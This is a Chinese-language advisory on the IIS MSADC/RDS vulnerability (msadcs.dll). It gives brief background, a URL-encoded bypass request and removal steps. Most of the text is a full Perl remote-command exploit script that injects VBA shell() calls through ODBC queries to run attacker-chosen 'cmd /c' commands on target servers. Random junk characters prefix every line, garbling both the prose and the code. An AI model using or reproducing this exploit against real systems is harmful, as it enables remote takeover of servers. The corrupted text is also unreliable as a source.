IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
]@ET Q8QN 0*:]e M};P 涉及程序：
1`_M c ] Microsoft NT server
f%*-PW^* aI|)m8 >)X 描述：
A@'):V8_%C 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
C bG"8F|4 >~J_9'gX6 详细：
4) 9X) Qx 如果你没有时间读详细内容的话，就删除:
SVXey?A;CJ c:\Program Files\Common Files\System\Msadc\msadcs.dll
x#dJH9NR[ 有关的安全问题就没有了。
@R}L
4 $K<jmEC@< 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
7"4|`y^# @c$mc 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
e5fJN)+a 关于利用ODBC远程漏洞的描述，请参看:
!l6B_[!@ >E"FoZM= http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm |#5JI #,vX ]2zx}D 4f 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
v}[K Vwse http://www.microsoft.com/security/bulletins/MS99-025faq.asp xNxIqq<k %X G X( 这里不再论述。
@b!fs ;
@Gm@d 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
&$hfAG]" :CHCVoh@95 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
XNu2G19jb 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
KU33P>a"[k R52q6y:<x r(v k2Qy #将下面这段保存为txt文件，然后: "perl -x 文件名"
|hp_X>Uv' O";r\ Z #!perl
j-
F=5)A #
s3kh (N # MSADC/RDS 'usage' (aka exploit) script
0? ,EteR #
.M:,pw"S] # by rain.forest.puppy
*o"F.H{#N #
"
I`YJEv # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
_Zf1=& U#/ # beta test and find errors!
8Yq6I>@! 1ygu>sKS&A use Socket; use Getopt::Std;
!c1
E getopts("e:vd:h:XR", \%args);
ew?UHV S2jo@bp! print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
NV9= ~c x C
UBcU if (!defined $args{h} && !defined $args{R}) {
*+p'CfsSka print qq~
d2X#_(+d Usage: msadc.pl -h <host> { -d <delay> -X -v }
@gX@mT" -h <host> = host you want to scan (ip or domain)
wK#UFOp -d <seconds> = delay between calls, default 1 second
8n~@Rj 5 -X = dump Index Server path table, if available
, 5r 2!d -v = verbose
D"1ciO8^I] -e = external dictionary file for step 5
=t)eT0 5Y9 j/wA Or a -R will resume a command session
!2&h=;i~V
k7y!! AV ~; exit;}
s?%1/&.~ JI\u -+BE $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
vg E 5(fJh if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
PI0/= kS if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
fv NGGn! if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
9 MM4 C $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
yMz@ -B if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
}3[ [ONA bJ. ((1$ if (!defined $args{R}){ $ret = &has_msadc;
a.8 nWs^ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
cW&OVNj Za}91z" print "Please type the NT commandline you want to run (cmd /c assumed):\n"
TS3 00 F . "cmd /c ";
E?08=$^5%
$in=<STDIN>; chomp $in;
7^Onq0ym T $command="cmd /c " . $in ;
\D}/tz5~B iv;;GW{2 if (defined $args{R}) {&load; exit;}
$ /wr? |Z2_1(
ku print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Ld`~^< B &try_btcustmr;
)XO2DY1/&
P$4?-AZ print "\nStep 2: Trying to make our own DSN...";
9@vY(k k &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
pbm4C0W} j<L!ONvJ1 print "\nStep 3: Trying known DSNs...";
dd4yS}yBlR &known_dsn;
4a)qn?<z A0[flIl print "\nStep 4: Trying known .mdbs...";
.-Ao%A W &known_mdb;
iwmXgsRa9} 8:M~m]Z+| if (defined $args{e}){
EKoCm)}d print "\nStep 5: Trying dictionary of DSN names...";
NWNgh/9? &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
N+}yw4lb ! B )Em print "Sorry Charley...maybe next time?\n";
-@#AQ\ exit;
ied<1[~S X)uT -F y ##############################################################################
!EKF ^n6 : wn![<`3q sub sendraw { # ripped and modded from whisker
V@Po} sleep($delay); # it's a DoS on the server! At least on mine...
TS1 k'<c? my ($pstr)=@_;
fYCAwS{ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
+p43d:[ die("Socket problems\n");
AMO{?:8Y; if(connect(S,pack "SnA4x8",2,80,$target)){
TUk1h\.q select(S); $|=1;
e@Mm4&f[p print $pstr; my @in=<S>;
kF\ QO
[ select(STDOUT); close(S);
%gf8'Q return @in;
D@j `'&G } else { die("Can't connect...\n"); }}
`,7BU??+u +F0M?, ##############################################################################
zR` ]8E] x3M`l| sub make_header { # make the HTTP request
i.by Hz?/ my $msadc=<<EOT
}QC: !e,yG POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
/Hd\VI User-Agent: ACTIVEDATA
O~xc>
w Host: $ip
;CU3CLn Content-Length: $clen
="I]D
I Connection: Keep-Alive
Pp. X Du HWs?,AJNxB ADCClientVersion:01.06
EI f~>AI Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
("9)=x *5 o\2#}eie --!ADM!ROX!YOUR!WORLD!
Ajq<=y`NzV Content-Type: application/x-varg
) I5f`r=Ry Content-Length: $reqlen
a{)"KA P 9h9Y:i*Gh5 EOT
Z& } 94 ; $msadc=~s/\n/\r\n/g;
2KPXRK return $msadc;}
hy6 px #FeM.k6 ##############################################################################
mirMDJsl% [(dAv7YbN sub make_req { # make the RDS request
.UJDn^@ my ($switch, $p1, $p2)=@_;
|:EUh my $req=""; my $t1, $t2, $query, $dsn;
2=U4'C4# CP={|]>+S if ($switch==1){ # this is the btcustmr.mdb query
n7Re@'N< $query="Select * from Customers where City=" . make_shell();
&Wn!W $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
@h $7C< $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
US
Q{o k-w._E
< elsif ($switch==2){ # this is general make table query
fM8 :Nt$ $query="create table AZZ (B int, C varchar(10))";
cZHlW|$R $dsn="$p1";}
K@?S0K MK Z/2#h<zj elsif ($switch==3){ # this is general exploit table query
6t@3
a? $query="select * from AZZ where C=" . make_shell();
,NVQ C= $dsn="$p1";}
Z4rK$ B X+hyUz(%R elsif ($switch==4){ # attempt to hork file info from index server
E jn19{ $query="select path from scope()";
*VL-b8'A< $dsn="Provider=MSIDXS;";}
T T29 LC@ %3~jg elsif ($switch==5){ # bad query
N b+zP[C $query="select";
1s1$J2LX $dsn="$p1";}
/)v X|qtIY \bfNki $t1= make_unicode($query);
XV!P8 n $t2= make_unicode($dsn);
:]?I| .a $req = "\x02\x00\x03\x00";
)C <sj $req.= "\x08\x00" . pack ("S1", length($t1));
:x16N |z $req.= "\x00\x00" . $t1 ;
K{"+eA>CU $req.= "\x08\x00" . pack ("S1", length($t2));
`+i<:,z-gs $req.= "\x00\x00" . $t2 ;
U${dWxC $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
&:Raf5G-E return $req;}
.PF~8@1ju fkYa ##############################################################################
zvSfW#
* 6LUB3;g7 sub make_shell { # this makes the shell() statement
G0<m3 Up return "'|shell(\"$command\")|'";}
CbwQ'c$} C~kw{g+| ##############################################################################
!v $hqNt7 Z(CzU {7c sub make_unicode { # quick little function to convert to unicode
\GB v @ my ($in)=@_; my $out;
x.}iSE{ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Uv .{=H: return $out;}
KZ&8aulP tX6n~NJ$ ##############################################################################
<sn^>5Ds $,bLb5}Q u sub rdo_success { # checks for RDO return success (this is kludge)
* y u|]T my (@in) = @_; my $base=content_start(@in);
hfVJg7- if($in[$base]=~/multipart\/mixed/){
o_jVtEP return 1 if( $in[$base+10]=~/^\x09\x00/ );}
_>*TPlB return 0;}
9' T
nR[> -R| v&h%T ##############################################################################
!.kj-==s{7 _PQQ&e)E sub make_dsn { # this makes a DSN for us
PYW~x@]k%, my @drives=("c","d","e","f");
{QJJw}!# print "\nMaking DSN: ";
td{$ c6 foreach $drive (@drives) {
[& "`2n print "$drive: ";
SmC91XO my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
kOeW,:&65 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
EtKy?]i . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
M/ >^_z G $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
1XL ^Zhr return 0 if $2 eq "404"; # not found/doesn't exist
MT }9T if($2 eq "200") {
a$"3T foreach $line (@results) {
w8$ 8P return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
qK,rT*5= } return 0;}
Me2%X>; ?>DN7je ##############################################################################
{0QNqjue
mM!Gomp sub verify_exists {
=5',obYN>c my ($page)=@_;
g2BE-0, R my @results=sendraw("GET $page HTTP/1.0\n\n");
XeJn ,= return $results[0];}
K#t T \
c7,p5[ ##############################################################################
Qne@Vf kA
Jf9a<[CcV sub try_btcustmr {
={B%qq my @drives=("c","d","e","f");
<V>]-bl/ my @dirs=("winnt","winnt35","winnt351","win","windows");
4Zo.c*
BZ Wv8?G~> foreach $dir (@dirs) {
Y'mtMLfMc print "$dir -> "; # fun status so you can see progress
=g
UOHH foreach $drive (@drives) {
,F!z ZNW9 print "$drive: "; # ditto
Z<@0~t_:?p $reqlen=length( make_req(1,$drive,$dir) ) - 28;
3c}@_Yn $reqlenlen=length( "$reqlen" );
f;x0Ho5C2 $clen= 206 + $reqlenlen + $reqlen;
Jx!#y A; WB K6Ug my @results=sendraw(make_header() . make_req(1,$drive,$dir));
BF
b<"!Y if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
_h6SW2:z!E else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
"A6m-xE~ ~l+2Z4nV ##############################################################################
+0_e a~{ ]{s0/(E A sub odbc_error {
TD!--l*gL my (@in)=@_; my $base;
SYkwM 6 my $base = content_start(@in);
@>cz$##` if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
UQ c!"D $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
<A^sg?s<' $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
kUGOkSP8[ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
C.].HQ return $in[$base+4].$in[$base+5].$in[$base+6];}
k{d] print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
N:x--,2 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
-n FKP&P $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
9kHV WDf k<Qhw)M8 ##############################################################################
{bHUZen
!K*(# [ sub verbose {
,sI<AFI my ($in)=@_;
x{4{.s%+: return if !$verbose;
WX6}@mS. print STDOUT "\n$in\n";}
%;_94!(hC 0$ JH5RC ##############################################################################
^F,sV* 2. '` mGu sub save {
B>.x@(}V~ my ($p1, $p2, $p3, $p4)=@_;
& OYo open(OUT, ">rds.save") || print "Problem saving parameters...\n";
' Dp;fEU$ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
}C 4wED. close OUT;}
d^MRu#] YLJ^R$pi ##############################################################################
DK)T2{: v;soJlxF~ sub load {
R jp7H my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
%5RR<[_/; open(IN,"<rds.save") || die("Couldn't open rds.save\n");
3 {$vN). @p=<IN>; close(IN);
>Q $ph= $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
|;:g7eb $target= inet_aton($ip) || die("inet_aton problems");
dq,j?~ _} print "Resuming to $ip ...";
Yw] 7@ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
v{d$DZUs if($p[1]==1) {
J-#V_TzJ? $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
NNt
n $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
&h En3u my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
bTU[ E if (rdo_success(@results)){print "Success!\n";}
<Pzy '9 else { print "failed\n"; verbose(odbc_error(@results));}}
qv& Bai[ elsif ($p[1]==3){
*5IB@^< if(run_query("$p[3]")){
vd?Bk_d9k, print "Success!\n";} else { print "failed\n"; }}
8Cs;.>75[ elsif ($p[1]==4){
.7]P-]uOZ if(run_query($drvst . "$p[3]")){
o?Aj6f NY? print "Success!\n"; } else { print "failed\n"; }}
Z1#u&oX exit;}
2ah%,o <d @9[]
##############################################################################
>-w(P/ $=iw<B r sub create_table {
_%q~K (:: my ($in)=@_;
Jsl2RdI $reqlen=length( make_req(2,$in,"") ) - 28;
c
{/J. $reqlenlen=length( "$reqlen" );
>
vdmN] $clen= 206 + $reqlenlen + $reqlen;
>H^#!eaqw my @results=sendraw(make_header() . make_req(2,$in,""));
e2f+ Fv
9 return 1 if rdo_success(@results);
{`QA.he. my $temp= odbc_error(@results); verbose($temp);
8Qo'[ +4; return 1 if $temp=~/Table 'AZZ' already exists/;
6 <EGH*GQ$ return 0;}
q`,%L1c4 [Ur\^wS ##############################################################################
Y {D%v x -"8V( sub known_dsn {
Z:dp /M} # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
P #O2MiG my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
f(Y_< % "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
/a'1 W/^2 "banner", "banners", "ads", "ADCDemo", "ADCTest");
N0H=;CIQ M?!@L:b[ foreach $dSn (@dsns) {
^|H={pd'c0 print ".";
#l ZK_N|1x next if (!is_access("DSN=$dSn"));
N+'j on}U if(create_table("DSN=$dSn")){
fqhL"Ah
print "$dSn successful\n";
P 0e-v0 if(run_query("DSN=$dSn")){
jMgXIK \ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
GlnO8cAB print "Something's borked. Use verbose next time\n";}}} print "\n";}
yVII<ImqIH +? h}e ##############################################################################
];Z6=9n 'C/yQvJ
sub is_access {
GL=}Vu `(* my ($in)=@_;
/M_$4O;*@ $reqlen=length( make_req(5,$in,"") ) - 28;
$c 9-Q+pZ $reqlenlen=length( "$reqlen" );
)rq |t9kix $clen= 206 + $reqlenlen + $reqlen;
> ~SS^ I0 my @results=sendraw(make_header() . make_req(5,$in,""));
r/2=
nE my $temp= odbc_error(@results);
ZUHRATT- verbose($temp); return 1 if ($temp=~/Microsoft Access/);
7~SwNt, return 0;}
0?<#! z$e6T&u5B ##############################################################################
Pg%9hejf3 V&w2pp0 sub run_query {
7 ~ PL8 my ($in)=@_;
2 %dL96 $reqlen=length( make_req(3,$in,"") ) - 28;
&}r"Z?f) $reqlenlen=length( "$reqlen" );
fes s6=k $clen= 206 + $reqlenlen + $reqlen;
b, Oh8O;> my @results=sendraw(make_header() . make_req(3,$in,""));
. qgUD return 1 if rdo_success(@results);
Zz0e4C my $temp= odbc_error(@results); verbose($temp);
G18w3BFx return 0;}
]K"&Vd O\6U2 b~ ##############################################################################
_dJ(h6%3 5J10S sub known_mdb {
6RnzT d my @drives=("c","d","e","f","g");
64<; 6* my @dirs=("winnt","winnt35","winnt351","win","windows");
8NWo)y49H my $dir, $drive, $mdb;
pFv u,Q" my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
a YWWln $VuXr=f} # this is sparse, because I don't know of many
WwDM^}e my @sysmdbs=( "\\catroot\\icatalog.mdb",
3 r& "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
O$<>v\NC? "\\system32\\certmdb.mdb",
:OG I|[ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
iQ;p59wSzL Kwuuc Y my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Upe}9 xf "\\cfusion\\cfapps\\forums\\forums_.mdb",
]mTBD<3\ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
>2'"} np* "\\cfusion\\cfapps\\security\\realm_.mdb",
w G %W{T$ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
c+ oi8G "\\cfusion\\database\\cfexamples.mdb",
TmsIyDcD~ "\\cfusion\\database\\cfsnippets.mdb",
/|IPBU 5 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
vrkY7L 3\ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
/ad9Q~nJ "\\cfusion\\brighttiger\\database\\cleam.mdb",
rO' DT{Yt "\\cfusion\\database\\smpolicy.mdb",
5~L]zE "\\cfusion\\database\cypress.mdb",
9
r!zYZ`)
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
J@s>Pe) "\\website\\cgi-win\\dbsample.mdb",
K#0TD( " "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
aQCu3T "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
ieFl4hh[G ); #these are just
o4);5~1l foreach $drive (@drives) {
zx3gz7>k; foreach $dir (@dirs){
^7-zwl(>?N foreach $mdb (@sysmdbs) {
CL |/I: %0 print ".";
c$O8Rhx if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
,o& C"sb print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
S#7YJ7
K"N if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
MU O<o print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
9a}9cMJ^" } else { print "Something's borked. Use verbose next time\n"; }}}}}
M|WBJ'#x0 Y%pab/Y foreach $drive (@drives) {
-8Jw_ foreach $mdb (@mdbs) {
CM;b_E)9)f print ".";
Zw.8B0W if(create_table($drv . $drive . $dir . $mdb)){
7>FXsUt_ print "\n" . $drive . $dir . $mdb . " successful\n";
=<HDek if(run_query($drv . $drive . $dir . $mdb)){
(W
~K1] print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
ZK5nN9` } else { print "Something's borked. Use verbose next time\n"; }}}}
S+ kq1R }
)cqD"> vs F (*B1J2_g ##############################################################################
gcJ!_KZK $[ {5+ * sub hork_idx {
g7 \ = print "\nAttempting to dump Index Server tables...\n";
>f(?Mxh2 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
k }=<51 c $reqlen=length( make_req(4,"","") ) - 28;
kZ40a\9
Ye $reqlenlen=length( "$reqlen" );
Zf'*pp T&q $clen= 206 + $reqlenlen + $reqlen;
RkF#NCnL; my @results=sendraw2(make_header() . make_req(4,"",""));
J2YQdCL if (rdo_success(@results)){
z3o i( my $max=@results; my $c; my %d;
3k Ci5C for($c=19; $c<$max; $c++){
(l{vlFWd $results[$c]=~s/\x00//g;
'! [oLy $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
*g/k lK $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
=[6^NR( $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
a`xq
h2P $d{"$1$2"}="";}
!+l' <*8V foreach $c (keys %d){ print "$c\n"; }
;_o]$hV| } else {print "Index server doesn't seem to be installed.\n"; }}
ekM?
' 9ez YuX JT* ##############################################################################
T(b9b,ov) x:Y9 z_)O sub dsn_dict {
;G[V:.o- open(IN, "<$args{e}") || die("Can't open external dictionary\n");
4,9$udiGY while(<IN>){
6Sr]<I +: $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
fab'\|Y next if (!is_access("DSN=$dSn"));
|=?#Xbxz if(create_table("DSN=$dSn")){
NAbVH{*\U print "$dSn successful\n";
dbI>\khI if(run_query("DSN=$dSn")){
.tngN<f print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
,YYEn^ :> print "Something's borked. Use verbose next time\n";}}}
w5@ 5" M print "\n"; close(IN);}
.iXN~*+g R>< g\{G] ##############################################################################
8Zv``t61 uqMw-f/ sub sendraw2 { # ripped and modded from whisker
$ [gN#QW% sleep($delay); # it's a DoS on the server! At least on mine...
Y' v[2s my ($pstr)=@_;
] lB zp D socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
5xQ-f die("Socket problems\n");
>=~\b if(connect(S,pack "SnA4x8",2,80,$target)){
2]>O ZhS print "Connected. Getting data";
zM'eqo>!c> open(OUT,">raw.out"); my @in;
^Q6J$"Tj select(S); $|=1; print $pstr;
N]<(cG&p while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
vQAFg G close(OUT); select(STDOUT); close(S); return @in;
<`H0i*|Ued } else { die("Can't connect...\n"); }}
R.~[ $G! 6Rc=!_v^ ##############################################################################
Knq 9 "k K1&
QAXyP sub content_start { # this will take in the server headers
1!#85SMx my (@in)=@_; my $c;
%y1!'R:ZW for ($c=1;$c<500;$c++) {
55[ 4)* if($in[$c] =~/^\x0d\x0a/){
t@q'm.:uw< if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
+H)'(< else { return $c+1; }}}
Q8p6n return -1;} # it should never get here actually
7_0 p& 3
|) -kUu ##############################################################################
j8Z, :op @Nu2
:~JO sub funky {
91- bz^=xO my (@in)=@_; my $error=odbc_error(@in);
Up9{aX if($error=~/ADO could not find the specified provider/){
PwY / VGT print "\nServer returned an ADO miscofiguration message\nAborting.\n";
7)66e exit;}
0-2|(9
Kc if($error=~/A Handler is required/){
$=aO*i print "\nServer has custom handler filters (they most likely are patched)\n";
@6u/)>rI exit;}
5&]5*;Bv J if($error=~/specified Handler has denied Access/){
mH*ldf;J;= print "\nServer has custom handler filters (they most likely are patched)\n";
%,>z`D,Hg exit;}}
h
><Sp*z_V E$8JrL ##############################################################################
*$f=`sj D3pz69W sub has_msadc {
kfy!T rf my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
j\>LJai" my $base=content_start(@results);
. l}Ap7@ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
H4/wO return 0;}
_|k$[^ln^ /{M<FVXK+| ########################
YQVo7"`% G6SgVaM )rc!irac] 解决方案：
<p@Cx 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
@d75X Y Ku 2、移除web 目录: /msadc
